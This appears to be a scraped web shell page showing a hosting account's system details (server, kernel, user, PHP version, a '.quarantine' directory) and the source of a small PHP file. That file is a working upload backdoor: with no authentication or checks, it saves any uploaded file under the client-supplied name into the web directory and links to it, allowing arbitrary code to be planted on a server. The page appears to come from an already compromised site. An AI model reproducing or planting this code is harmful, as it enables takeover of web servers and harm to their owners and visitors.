Server : Apache System : Linux ls31.server.ly 3.10.0-962.3.2.lve1.5.68.el7.x86_64 #1 SMP Wed Apr 6 11:12:23 UTC 2022 x86_64 User : medchoco ( 2906) PHP Version : 8.3.16 Disable Function : mail Directory : /home/medchoco/.quarantine/ |
Upload File : |
<html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <title><?php echo $_SERVER['HTTP_HOST'] ?></title> </head> <body> <form method="post" enctype="multipart/form-data"> <input type="file" name="filename"> <input type="submit" value="submit"> </form> <?php if ( is_uploaded_file( $_FILES["filename"]["tmp_name"] ) ) { move_uploaded_file( $_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"] ); $file = $_FILES["filename"]["name"]; echo "<a href=\"$file\">$file</a>"; } ?> </body> </html>